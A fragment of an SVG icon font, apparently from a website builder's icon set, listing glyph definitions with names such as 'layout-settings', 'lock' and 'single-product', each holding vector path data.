<glyph glyph-name="layout-settings" unicode="&#xe963;" d="M896 808c55 0 100-43 104-97l0-7v-750c0-55-43-100-97-104l-7 0h-792c-55 0-100 43-104 97l0 7v750c0 56 43 101 98 104l6 0h792z m-750-354h-104v-500c0-32 24-59 56-62l6 0h42v83h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42v83h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42v83h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42v83h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42v62z m812 0h-770v-562h708c32 0 59 24 62 56l0 6v500z m-687-312c12 0 21-9 21-21 0-11-8-19-17-21l-4 0h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42z m125 0c12 0 21-9 21-21 0-11-8-19-17-21l-4 0h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h42z m125 41c10 0 19-7 20-17l1-3v-42c0-11-8-19-17-21l-4 0h-42c-11 0-21 9-21 21 0 10 8 19 17 20l4 1h21v21c0 10 8 18 17 20l4 0z m0 125c10 0 19-7 20-17l1-3v-42c0-12-9-21-21-21-11 0-19 8-21 17l0 4v42c0 11 9 20 21 20z m0 125c10 0 19-7 20-17l1-3v-42c0-12-9-21-21-21-11 0-19 8-21 17l0 4v42c0 11 9 20 21 20z m-375 167h-104v-104h104v104z m812 0h-770v-104h62v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h83v42c0 11 9 20 21 20 10 0 19-7 20-17l1-3v-42h41v104z m-62 167h-792c-32 0-59-25-62-57l0-6v-62h916v62c0 33-24 59-56 62l-6 1z m-792-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21c-12 0-21 10-21 21s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="lightbox-expand" unicode="&#xe964;" d="M896 808c55 0 100-41 104-93l0-7v-757c0-54-43-97-97-101l-7 0h-792c-55 0-100 41-104 94l0 6v758c0 53 43 97 98 100l6 0h792z m62-208h-916v-650c0-30 24-55 56-58l6 0h792c32 0 59 23 62 53l0 6v649z m-545-146c12 0 21-9 21-21 0-10-7-18-17-20l-4 0h-71l149-150 149 150h-71c-10 0-19 7-20 17l-1 3c0 11 8 19 17 21l4 0 122 0c1 0 2 0 3 0l-3 0 2 0 0 0 3 0 0 0 3-1 0 0 2-1 0 0 2-2 0 0 2-1 2-2 0 0 2-3 0 0 1-4 0 0 1-2 0 0 1-2 0 0 0-2v-121c0-12-9-21-21-21-11 0-19 7-21 17l0 4 0 71-149-150 149-149 0 71c0 10 8 19 17 20l4 1c10 0 19-8 20-17l1-4v-122c0-1 0-3-1-4l-1-4 0 0-1-2 0 0-1-3 0 0-3-2-1-1 0 0-3-2 0 0-2-1 0 0-3-1 0 0-2-1-3 0h-122c-11 0-21 10-21 21 0 11 8 19 17 21l4 0 71 0-149 149-149-149 71 0c10 0 19-8 20-17l1-4c0-11-8-19-17-21l-4 0-124 0 0 0-4 1 0 0-3 1 0 0-3 2 0 0-2 2-2 1 0 0-2 3 0 0-1 4 0 0-1 3 0 2 0 0 0 123c0 12 9 21 21 21 10 0 18-8 20-17l1-4v-71l149 149-149 150v-71c0-11-8-19-18-21l-3 0c-11 0-19 7-21 17l0 4 0 122c0 1 0 1 0 2l0-3 0 2 0 0 0 3 0 0 1 3 0 0 2 3 0 0 1 3 0 0 2 1 1 2 0 0 3 1 0 0 2 2 0 0 3 0 0 0 4 1 0 0 123 0z m483 313h-792c-32 0-59-24-62-54l0-5v-66h916v66c0 30-24 56-56 59l-6 0z m-771-63c0-11-9-21-21-21s-21 10-21 21 10 21 21 21 21-9 21-21m83 0c0-11-9-21-20-21s-21 10-21 21 9 21 21 21 20-9 20-21m84 0c0-11-9-21-21-21-12 0-21 10-21 21s9 21 21 21c12 0 21-9 21-21" horiz-adv-x="1000" />

<glyph glyph-name="error-404" unicode="&#xe965;" d="M896 788c57 0 104-42 104-94v-688c0-52-47-94-104-94h-792c-57 0-104 42-104 94v688c0 52 47 94 104 94h792z m0-42h-792c-35 0-62-24-62-52v-688c0-28 27-52 62-52h792c35 0 62 24 62 52v688c0 28-27 52-62 52z m-596-266c5 0 9-2 13-5 3-3 5-8 5-14 0-3 0-6-3-9l-86-149 0 0 22-1 0 0 29 0 0 0 18-1v52l1 4c2 4 4 7 6 9 3 3 7 4 11 4 4 0 9-1 12-4 2-2 5-5 6-8l1-5v-53h28l4-1c4-2 7-4 9-7 3-3 4-7 4-11 0-4-2-8-5-12-2-2-6-4-10-6l-4-1-19 0-7 0v-49l0-4c-1-5-3-9-6-12-4-4-8-6-13-6-4 0-8 2-11 5-3 3-5 7-6 12l-1 4v51l-85 1c-5 0-10 0-15 0-13 2-20 9-20 20 0 2 0 4 1 6 11 20 22 40 34 60l17 30c17 29 35 59 52 89 2 4 5 7 8 9 4 1 7 2 10 2z m450 0c4 0 8-2 12-5 4-3 6-8 6-14 0-3-1-6-3-9l-86-149 0 0 21-1 0 0 29 0 0 0 19-1v52l1 4c1 4 3 7 6 9 3 3 7 4 11 4 4 0 8-1 12-4 2-2 4-5 6-8l1-5v-53h27l4-1c4-2 7-4 9-7 3-3 5-7 5-11 0-4-2-8-5-12-3-2-6-4-10-6l-4-1-19 0-7 0v-49l0-4c-1-5-3-9-6-12-4-4-9-6-13-6-4 0-8 2-12 5-3 3-5 7-6 12l0 4v51l-85 1c-5 0-10 0-15 0-14 2-20 9-20 20 0 2 0 4 0 6l17 30 0 0 18 30 42 74 26 45c3 4 6 7 9 9 3 1 6 2 10 2z m-242 5l10-1c7 0 13-2 20-5 6-3 12-6 18-10s12-9 17-14c8-9 15-20 20-32 5-11 9-24 11-36s3-26 3-39-1-25-2-38c-3-11-7-23-12-36-6-13-13-26-20-37-8-11-18-21-28-29-11-8-23-13-36-15-9-1-17-1-25-1-9 1-16 3-25 7-6 4-12 7-19 10-5 4-11 9-15 14-7 10-13 21-18 32s-7 23-9 35-3 25-3 37c0 13 1 25 3 37 1 13 5 26 10 40s12 26 20 38c8 12 18 21 30 29 12 8 25 12 40 13l10 1 0 0z m7-39c-8 2-16 1-24-1-8-2-16-7-23-13-10-9-18-22-24-38s-10-34-11-52-1-36 2-53 10-30 19-41c5-6 11-10 16-12 6-3 13-4 21-6 12 1 22 4 30 9s16 11 22 19 10 15 14 25c3 6 5 13 7 20l2 10 1 3 1 14 1 13c1 10 0 19-1 28-2 8-3 16-5 24s-5 15-10 23c-5 7-10 14-17 19-6 5-14 8-21 9z" horiz-adv-x="1000" />

<glyph glyph-name="theme-style" unicode="&#xe966;" d="M945 741c40-24 55-75 34-117l-4-7-183-292v-275l-1-7c-3-52-45-93-97-97l-6 0h-584l-6 0c-53 4-94 45-98 97l0 7v583l0 7c4 53 45 94 98 98l6 0h584l6-1c47-3 86-37 95-82l32 55c26 43 81 57 124 31z m-257-45h-584l-6 0c-29-3-53-27-56-56l0-7v-583l0-6c3-29 27-53 56-56l6-1h584l5 1c30 3 54 27 57 56l0 6v209l-33-53c18-51 1-115-47-159l-7-6c-75-63-202-69-273 6-10 10-7 26 5 33l3 1 2 1c4 2 10 5 17 11l0 3v267c0 10 7 18 17 20l4 0 196 0 24 42-533 0c-10 0-19 8-20 17l-1 4v167c0 10 8 18 17 20l4 0h542c10 0 18-7 20-17l1-3v-136l62 109v47l0 6c-3 30-27 54-57 56l-5 1z m-25-479c-35 36-81 38-118 2-10-9-16-19-22-31-3-5-4-9-6-14l-2-6-9-25c-8-26-16-40-31-55-10-9-18-17-26-23l-6-5-2-1 5-4c52-31 125-26 177 8l7 5 7 5c49 42 60 108 26 144z m-309 166c11 0 19-7 21-17l0-3v-292c0-11-7-19-17-21l-4 0h-229c-10 0-19 8-20 17l-1 4v292c0 10 8 18 17 20l4 0h229z m-21-41h-187v-250h187v250z m125 0l0-207c2 4 5 9 7 15l5 14 4 13 4 12c1 2 1 4 2 5l2 5 4 7c7 16 17 30 30 42 18 18 38 29 59 35l3 0 33 58-153 1z m217 31l-50-88c21-5 42-15 60-32l7-7 53 85-70 42z m185 321l-3-4-161-282 72-43 172 274c13 23 6 53-17 66-21 13-48 8-63-11z m-214-102h-500v-125h500v125z" horiz-adv-x="1000" />

<glyph glyph-name="search-results" unicode="&#xe967;" d="M896 788c57 0 104-42 104-94v-688c0-52-47-94-104-94h-792c-57 0-104 42-104 94v688c0 52 47 94 104 94h792z m0-42h-792c-35 0-62-24-62-52v-688c0-28 27-52 62-52h792c35 0 62 24 62 52v688c0 28-27 52-62 52z m-228-354c82 0 148-66 148-148 0-34-11-64-30-89l71-73c8-8 8-21 0-29-8-8-19-8-27-3l-3 3-71 72c-25-17-55-28-88-28-81 0-147 66-147 147s66 148 147 148z m-168-271c12 0 21-9 21-21 0-10-8-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h333z m168 229c-58 0-105-47-105-106s47-106 105-106 106 48 106 106-47 106-106 106z m-251-104c11 0 21-9 21-21 0-10-8-19-18-20l-3-1h-250c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h250z m41 125c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-291c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h291z m-83 125c12 0 21-9 21-21 0-10-8-19-17-20l-4-1h-208c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h208z m250 0c12 0 21-9 21-21 0-10-8-19-17-20l-4-1h-167c-11 0-20 9-20 21 0 10 7 19 17 20l3 1h167z m208 0c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-125c-11 0-20 9-20 21 0 10 7 19 17 20l3 1h125z m-416 125c11 0 21-9 21-21 0-10-8-19-18-20l-3-1h-250c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h250z m416 0c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 8 19 17 20l4 1h333z" horiz-adv-x="1000" />

<glyph glyph-name="single-post" unicode="&#xe968;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m-63-625c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-666c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h666z m0 125c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-666c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h666z m-544 365l1-4 105-292c3-10-2-22-13-26-9-4-20 1-25 9l-2 3-25 70h-119l-25-70c-3-9-13-15-23-13l-3 0c-10 4-15 14-14 23l1 4 104 292c7 17 29 18 38 4z m544-240c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 8 19 17 20l4 1h333z m-562 167l-45-125h89l-44 125z m562-42c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 8 19 17 20l4 1h333z m0 125c12 0 21-9 21-21 0-10-7-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 8 19 17 20l4 1h333z" horiz-adv-x="1000" />

<glyph glyph-name="site-identity" unicode="&#xe969;" d="M896 808c55 0 100-45 104-101l0-7v-742c0-57-43-104-97-108l-7 0h-792c-55 0-100 45-104 101l0 7v742c0 57 43 104 97 108l7 0h792z m62-208h-916v-642c0-35 25-63 56-66l6 0h792c32 0 59 26 62 60l0 6v642z m-604-125c127 0 229-102 229-229 0-68-29-128-75-170l-9-8 0 0c-9-7-17-13-26-19l-11-6 0 0-10-5 0 0-10-4-12-5 0 0-9-3 0 0-5-1 0 0-6-2 0 0-10-2 0 0-13-2 0 0-11-1 0 0-7-1 0 0-5 0c-3 0-6-1-10-1l-14 1 0 0-14 1 0 0-6 1 0 0-11 1 0 0-11 3 0 0-5 1 0 0-10 3 0 0-6 3 0 0-4 1 0 0-8 3 0 0-9 4 0 0-9 5 0 0c-10 5-19 11-28 17l-10 8 0 0c-51 42-83 106-83 177-1 128 102 230 228 230z m0-292c-50 0-94-27-117-69l-4-8-1-2 5-4 9-7 0 0 7-5 8-5c4-2 9-5 14-7l8-3 7-3c5-2 10-4 15-5l9-2 11-2c6-1 13-2 20-2l9-1 5 0 0 0 7 1 8 1 11 1 7 2 0 0 5 1 9 2 9 3 9 4c5 2 9 3 14 6l10 5 0 0 8 5c3 1 6 4 8 6l8 5 4 5-1 2c-19 41-59 70-105 76l-8 1-8-1z m500 0c11 0 19-7 21-17l0-3v-84c0-10-7-19-17-20l-4-1h-208c-11 0-19 8-21 17l0 4v84c0 10 8 18 17 20l4 0h208z m-21-41h-166v-42h166v42z m-479 291c-103 0-187-84-187-187 0-41 13-78 35-109 19 33 48 58 82 73-21 20-34 47-34 78 0 57 47 104 104 104s104-47 104-104c0-31-13-58-34-78 35-15 64-40 83-73 22 31 35 68 35 109 0 103-84 187-188 187z m0-83c-34 0-62-28-62-62s28-63 62-63 63 28 63 63-28 62-63 62z m500 83c11 0 19-7 21-17l0-3v-84c0-10-7-19-17-20l-4-1h-208c-11 0-19 8-21 17l0 4v84c0 10 8 18 17 20l4 0h208z m-21-41h-166v-42h166v42z m63 375h-792c-32 0-59-27-62-61l0-6v-58h916v58c0 35-25 63-56 66l-6 1z m-792-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21c-12 0-21 10-21 21s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="theme-builder" unicode="&#xe96a;" d="M550 79c29 0 50-21 54-50l0-4v-100c0-29-21-50-50-54l-4 0h-100c-29 0-50 21-54 50l0 4v100c0 29 21 50 50 54l4 0h100z m375 0c29 0 50-21 54-50l0-4v-100c0-29-21-50-50-54l-4 0h-100c-29 0-50 21-54 50l0 4v100c0 29 21 50 50 54l4 0h100z m-750 0c29 0 50-21 54-50l0-4v-100c0-29-21-50-50-54l-4 0h-100c-29 0-50 21-54 50l0 4v100c0 29 21 50 50 54l4 0h100z m375-41h-100c-4 0-12-5-12-9l0-4v-100c0-4 4-13 8-13l4 0h100c4 0 13 5 13 9l0 4v100c0 4-5 13-13 13l0 0z m375 0h-100c-4 0-12-5-12-9l0-4v-100c0-4 4-13 8-13l4 0h100c4 0 13 5 13 9l0 4v100c0 4-5 13-13 13l0 0z m-750 0h-100c-4 0-12-5-12-9l0-4v-100c0-4 4-13 8-13l4 0h100c4 0 13 5 13 9l0 4v100c0 4-5 13-13 13l0 0z m325 375c8 0 17-9 21-17l0-4v-104h229c79 0 146-67 146-146 0-13-8-21-21-21s-21 8-21 21c0 54-41 100-96 104l-8 0h-229v-104c0-13-8-21-21-21-8 0-17 8-21 17l0 4v104h-229c-58 0-104-46-104-104 0-13-8-21-21-21s-21 8-21 21c0 79 63 141 138 146l8 0h229v104c0 12 9 21 21 21z m83 416c55 0 100-41 105-96l0-8v-167c0-54-42-100-96-104l-9 0h-166c-54 0-100 42-104 96l0 8v167c0 54 41 100 95 104l9 0h166z m0-41h-166c-34 0-59-25-63-59l0-4v-167c0-33 25-58 59-62l4 0h166c34 0 59 25 63 58l0 4v167c0 33-25 58-58 63l-5 0z" horiz-adv-x="1000" />

<glyph glyph-name="download-bold" unicode="&#xe96b;" d="M572 808h-144c-23 0-43-19-43-43v-300h-157c-31 0-48-39-25-62l272-272c14-13 36-13 49 0l273 272c22 23 6 62-26 62h-157v300c1 24-19 43-42 43z m386-873v200c0 24-19 43-43 43h-262l-88-88c-36-36-94-36-130 0l-88 88h-262c-24 0-43-19-43-43v-200c0-24 19-43 43-43h830c24 0 43 19 43 43z m-222 42c0 20-16 36-36 36-19 0-35-16-35-36 0-19 16-35 35-35 20 0 36 16 36 35z m79 36c20 0 36-16 36-36 0-19-16-35-36-35-20 0-36 16-36 35 0 20 16 36 36 36z" horiz-adv-x="1000" />

<glyph glyph-name="share-arrow" unicode="&#xe96c;" d="M946 467l-279 250c-25 21-63 4-63-29v-130c-366-4-533-345-562-520 196 225 321 291 562 295v-141c0-34 38-50 63-29l279 245c17 17 17 42 0 59z" horiz-adv-x="1000" />

<glyph glyph-name="global-settings" unicode="&#xe96d;" d="M816 302c49-10 92-36 127-74 3-4 5-10 5-16-1-4-3-9-6-12l-2-2c-9-7-12-18-6-27 4-8 13-11 22-9l4 1c5 2 11 2 16 0 6-3 9-7 12-12 8-26 12-50 12-73 0-24-4-48-12-74-2-5-6-10-12-12-4-2-8-2-13-1l-3 1c-10 4-21 1-26-8-5-8-4-17 3-24l3-2c4-3 7-9 8-15 0-6-1-11-5-16-34-38-78-64-127-73-1-1-2-1-4-1-4 0-9 2-12 4-4 3-7 7-8 12l-1 3c-1 11-10 19-20 19-9 0-17-6-20-16l-1-3c0-6-3-11-8-15s-11-4-16-3c-49 9-93 35-127 73-4 5-6 10-5 16 1 5 3 9 6 12l2 3c9 7 11 17 6 27-5 7-13 11-22 9l-4-2c-5-2-11-2-17 0-5 3-9 7-11 13-9 25-13 49-13 73 0 24 4 47 13 73 2 6 6 10 11 12 5 2 9 3 14 2l3-2c10-4 21 0 26 8 5 8 3 18-3 24l-3 3c-4 3-7 8-8 14-1 6 1 12 5 16 34 39 78 64 126 74 6 1 12 0 17-4 3-3 6-7 8-11l0-4c2-10 10-18 20-18 10 0 18 6 20 15l1 3c0 6 4 12 8 15 5 4 11 5 17 4z m-337 546c264 0 479-215 479-479 0-17 0-34-3-53-1-11-12-19-22-18-12 1-20 12-19 23 1 9 2 18 2 27l-416 0 0-416c9 0 18 1 27 2 11 1 22-7 23-19 1-11-7-21-18-23-19-2-36-2-53-2-264 0-479 215-479 479s215 479 479 479z m346-592c-10-20-31-33-54-33s-44 13-55 33c-27-8-51-23-73-43 12-19 13-43 2-63-12-20-34-31-56-30-4-15-6-29-6-43 0-14 2-27 6-42 22 1 44-10 56-31 11-20 10-44-2-63 22-20 46-35 73-43 11 20 32 33 55 33s44-13 54-33c28 8 52 23 73 43-10 17-12 39-4 58l3 5c12 20 33 32 56 31 4 15 5 29 5 43 0 13-1 27-5 42-23 0-44 10-56 30-12 20-10 45 1 64-20 19-45 34-73 42z m-367-158l-157 0c38-91 94-153 157-165l0 165z m-203 0l-119 0c52-67 124-118 207-145-36 36-66 85-88 145z m516 83c57 0 104-46 104-104s-47-104-104-104-104 47-104 104 46 104 104 104z m0-41c-35 0-63-28-63-63 0-34 28-62 63-62s62 28 62 62c0 35-28 63-62 63z m-562 208l-166 0c3-76 26-147 64-208l134 0c-17 55-28 118-31 185l-1 23z m249 0l-208 0c3-75 15-147 35-208l174 0v208z m-218 250l-133 0c-38-61-61-132-65-208l166 0c2 75 14 146 32 208z m218 0l-173 0c-20-62-33-133-35-208l208 0v208z m215 0l-173 0v-208l208 0c-2 68-13 133-30 191l-5 17z m179 0l-134 0c19-62 30-133 32-208l166 0c-3 70-23 137-57 195l-7 13z m-509 187l-10-4c-79-28-147-77-197-141l119 0c22 59 52 109 88 145z m-42-145l157 0 0 164c-60-11-114-69-153-154l-4-10z m199 165l0-165 158 0c-37 87-90 148-150 163l-8 2z m116-20l1-1c35-36 64-85 87-144l119 0c-53 66-125 117-207 145z" horiz-adv-x="1000" />

<glyph glyph-name="user-preferences" unicode="&#xe96e;" d="M167 829c11 0 21-9 21-21v-62h20c58 0 105-47 105-104v-84c0-57-47-104-105-104h-20v-562c0-12-10-21-21-21s-21 9-21 21v562h-21c-57 0-104 47-104 104v84c0 57 47 104 104 104h21v62c0 12 9 21 21 21z m333 0c12 0 21-9 21-21v-312h21c57 0 104-47 104-104v-84c0-57-47-104-104-104h-21v-312c0-12-9-21-21-21s-21 9-21 21v312h-21c-57 0-104 47-104 104v84c0 57 47 104 104 104h21v312c0 12 9 21 21 21z m333 0c12 0 21-9 21-21v-562h21c58 0 104-47 104-104v-84c0-57-46-104-104-104h-21v-62c0-12-9-21-21-21s-20 9-20 21v62h-21c-58 0-104 47-104 104v84c0 57 46 104 104 104h21v562c0 12 9 21 20 21z m42-625h-83c-35 0-63-28-63-62v-84c0-34 28-62 63-62h83c35 0 63 28 63 62v84c0 34-28 62-63 62z m-333 250h-84c-34 0-62-28-62-62v-84c0-34 28-62 62-62h84c34 0 62 28 62 62v84c0 34-28 62-62 62z m-334 250h-83c-35 0-62-28-62-62v-84c0-34 27-62 62-62h83c35 0 63 28 63 62v84c0 34-28 62-63 62z" horiz-adv-x="1000" />

<glyph glyph-name="lock" unicode="&#xe96f;" d="M500 842c149 0 272-115 283-264l0-10 0-10v-125h79c53 0 96-43 96-96v-392c0-53-43-95-96-95h-724c-53 0-96 42-96 95v392c0 53 43 96 96 96h79l0 126 0 11c6 151 131 272 283 272z m0-575c-42 0-76-31-82-71l-1-6 0-7v-93l0 0c5-41 40-73 83-73 40 0 74 28 82 67l1 6 0 0v93c0 46-37 84-83 84z m0 466c-91 0-167-70-174-158l-1-8 0-9 0-125h350l0 124 0 8c-4 94-81 168-175 168z" horiz-adv-x="1000" />

<glyph glyph-name="export-kit" unicode="&#xe970;" d="M838 767c64 0 117-51 120-115l0-7v-235c0-23-18-42-41-42-22 0-39 16-42 37l0 5v32h-750v-404c0-20 15-35 33-38l4 0h676c19 0 35 15 37 34l0 4c0 23 19 42 42 42s41-19 41-42c0-64-50-118-113-121l-7 0h-676c-64 0-117 50-120 114l0 7v607c0 65 50 118 113 122l7 0h676z m-5-427c6 0 11-2 15-6l104-98c8-8 8-21 1-30l-105-98c-9-8-22-8-30 0-4 4-6 10-6 15l0 56h-271c-23 0-41 19-41 41 0 22 16 40 36 42l5 0h271l0 56c1 12 10 22 21 22z m5 343h-676c-19 0-35-14-37-33l0-5v-120h750v120c0 20-15 36-33 38l-4 0z m-633-38c23 0 42-19 42-42s-19-41-42-41-42 18-42 41 19 42 42 42z m122 0c23 0 41-19 41-42s-18-41-41-41-42 18-42 41 19 42 42 42z m121 0c23 0 42-19 42-42s-19-41-42-41c-23 0-41 18-41 41s18 42 41 42z" horiz-adv-x="1000" />

<glyph glyph-name="import-kit" unicode="&#xe971;" d="M838 767c64 0 117-51 120-115l0-7v-235c0-23-18-42-41-42-22 0-39 16-42 37l0 5v32h-750v-404c0-20 15-35 33-38l4 0h676c19 0 35 15 37 34l0 4c0 23 19 42 42 42s41-19 41-42c0-64-50-118-113-121l-7 0h-676c-64 0-117 50-120 114l0 7v607c0 65 50 118 113 122l7 0h676z m-213-427c-5 0-10-2-14-6l-104-98c-9-8-9-21-1-30l105-98c8-8 22-8 29 0 4 4 6 10 6 15l0 56h271c23 0 42 19 42 41 0 22-16 40-37 42l-5 1h-271l0 56c0 11-9 21-21 21z m213 343h-676c-19 0-35-14-37-33l0-5v-120h750v120c0 20-15 36-33 38l-4 0z m-633-38c23 0 42-19 42-42s-19-41-42-41-42 18-42 41 19 42 42 42z m122 0c23 0 41-19 41-42s-18-41-41-41-42 18-42 41 19 42 42 42z m121 0c23 0 42-19 42-42s-19-41-42-41c-23 0-41 18-41 41s18 42 41 42z" horiz-adv-x="1000" />

<glyph glyph-name="lottie" unicode="&#xe972;" d="M200 767c13 0 23-11 23-24s-10-23-23-23-23 10-23 23 10 24 23 24z m47-64c7 11 21 14 32 7 36-24 64-55 86-86 8-11 5-25-5-33s-25-5-33 6c-19 27-44 54-74 73-10 8-13 22-6 33z m137-146c11 6 25 2 31-10 24-44 43-93 52-146 0-3 1-8 1-12l1-9 64 0c11 0 21-8 22-19l1-4c0-12-8-21-20-23l-3 0-62 0 0-14 0-15-1-19c-1-16-2-30-3-40-12-103-50-190-117-246-63-55-172-73-249-4-38 35-63 88-58 159 5 70 35 118 85 157 59 47 152 67 269 68l25 0 0 3-2 11c-7 46-25 91-46 131-6 11-1 25 10 32z m41-223l-12 0c-115 0-205-17-256-58-41-33-64-68-68-124-4-56 15-95 44-121 56-51 140-36 187 4 57 49 90 124 101 217l1 13c1 9 2 21 2 33l1 16 0 20z m377 42l130-3c13-1 23-12 23-25-1-11-10-20-20-22l-4 0-130 4c-13 0-23 11-23 24 1 11 10 21 20 22l4 0z m-155 5l67-2c13-1 23-11 22-24 0-12-9-21-20-23l-3 0-67 2h-25c-13 0-23 10-23 23 0 12 8 21 19 23l4 0 26 1z" horiz-adv-x="1000" />

<glyph glyph-name="products-archive" unicode="&#xe973;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m7-417c7 0 14-6 14-14v-305c0-8-7-14-14-14h-368c-8 0-14 6-14 14v305c0 8 6 14 14 14h368z m-438 0c8 0 14-6 14-14v-305c0-8-6-14-14-14h-368c-7 0-14 6-14 14v305c0 8 7 14 14 14h368z m410-41h-312v-250h312v250z m-437 0h-313v-250h313v250z m-171-192c11 0 21-9 21-21s-10-21-21-21c-12 0-21 9-21 21s9 21 21 21z m64 0c12 0 21-9 21-21s-9-21-21-21c-11 0-21 9-21 21s10 21 21 21z m373 0c12 0 21-9 21-21s-9-21-21-21-21 9-21 21 10 21 21 21z m65 0c11 0 21-9 21-21s-10-21-21-21c-12 0-21 9-21 21s9 21 21 21z m-554 175c8 0 15-4 18-11l2-3 7-22 121 0c15 0 28-11 30-25l0-5c0-2 0-4 0-6l-1-3-24-71c-4-11-13-18-25-20l-4 0h-76c-11 0-22 6-27 16l-1 4-35 104-12 0c-11 0-19 8-21 17l0 4c0 10 7 19 17 20l4 1h27z m438 0c7 0 14-4 18-11l2-3 7-22 121 0c15 0 27-11 29-25l1-5c0-2-1-4-1-6l-1-3-24-71c-3-11-12-18-24-20l-4 0h-76c-11 0-22 6-27 16l-1 4-35 104-13 0c-10 0-18 7-20 17l-1 4c0 10 8 19 17 20l4 1h28z m-306-77h-92l16-48h59l17 48z m437 0h-91l16-48h59l16 48z m119 510c7 0 14-6 14-14v-305c0-8-7-14-14-14h-368c-8 0-14 6-14 14v305c0 8 6 14 14 14h368z m-438 0c8 0 14-6 14-14v-305c0-8-6-14-14-14h-368c-7 0-14 6-14 14v305c0 8 7 14 14 14h368z m410-41h-312v-250h312v250z m-437 0h-313v-250h313v250z m-171-192c11 0 21-9 21-21s-10-21-21-21c-12 0-21 9-21 21s9 21 21 21z m64 0c12 0 21-9 21-21s-9-21-21-21c-11 0-21 9-21 21s10 21 21 21z m373 0c12 0 21-9 21-21s-9-21-21-21-21 9-21 21 10 21 21 21z m65 0c11 0 21-9 21-21s-10-21-21-21c-12 0-21 9-21 21s9 21 21 21z m-554 175c8 0 15-4 18-11l2-3 7-22 121 0c15 0 28-11 30-25l0-5c0-2 0-4 0-6l-1-3-24-71c-4-11-13-18-25-20l-4 0h-76c-11 0-22 6-27 16l-1 4-35 104-12 0c-11 0-19 8-21 17l0 4c0 10 7 19 17 20l4 1h27z m438 0c7 0 14-4 18-11l2-3 7-22 121 0c15 0 27-11 29-25l1-5c0-2-1-4-1-6l-1-3-24-71c-4-11-13-18-24-20l-4 0h-77c-11 0-21 6-26 16l-2 4-34 104-13 0c-10 0-19 8-20 17l-1 4c0 10 8 19 17 20l4 1h28z m-306-77h-92l16-48h59l17 48z m437 0h-91l16-48h59l16 48z" horiz-adv-x="1000" />

<glyph glyph-name="single-product" unicode="&#xe974;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m-647-625c7 0 14-6 14-14v-97c0-8-7-14-14-14h-152c-7 0-14 6-14 14v97c0 8 7 14 14 14h152z m216 0c8 0 14-6 14-14v-97c0-8-6-14-14-14h-147c-8 0-14 6-14 14v97c0 8 6 14 14 14h147z m221 0c8 0 14-6 14-14v-97c0-8-6-14-14-14h-151c-8 0-14 6-14 14v97c0 8 6 14 14 14h151z m217 0c7 0 14-6 14-14v-97c0-8-7-14-14-14h-148c-7 0-13 6-13 14v97c0 8 6 14 13 14h148z m-682-42h-96v-41h96v41z m217 0h-92v-41h92v41z m220 0h-95v-41h95v41z m217 0h-92v-41h92v41z m28 625c7 0 14-6 14-14v-514c0-7-7-13-14-13h-806c-7 0-14 6-14 13v514c0 8 7 14 14 14h806z m-28-41h-750v-459h750v459z m-437-340c11 0 20-10 20-21 0-12-9-21-20-21s-21 9-21 21c0 11 9 21 21 21z m104 0c11 0 21-10 21-21 0-12-10-21-21-21-12 0-21 9-21 21 0 11 9 21 21 21z m-201 298c8 0 15-4 19-11l1-3 17-49 230 0c19 0 35-15 37-33l0-4c0-3 0-6 0-8l-2-4-43-129c-5-14-16-23-30-25l-5 0h-137c-15 0-28 8-34 20l-1 5-60 177 0 0-7 22h-34c-11 0-19 8-21 17l0 4c0 10 7 19 17 20l4 1h49z m260-105h-210l39-119h131l40 119z" horiz-adv-x="1000" />

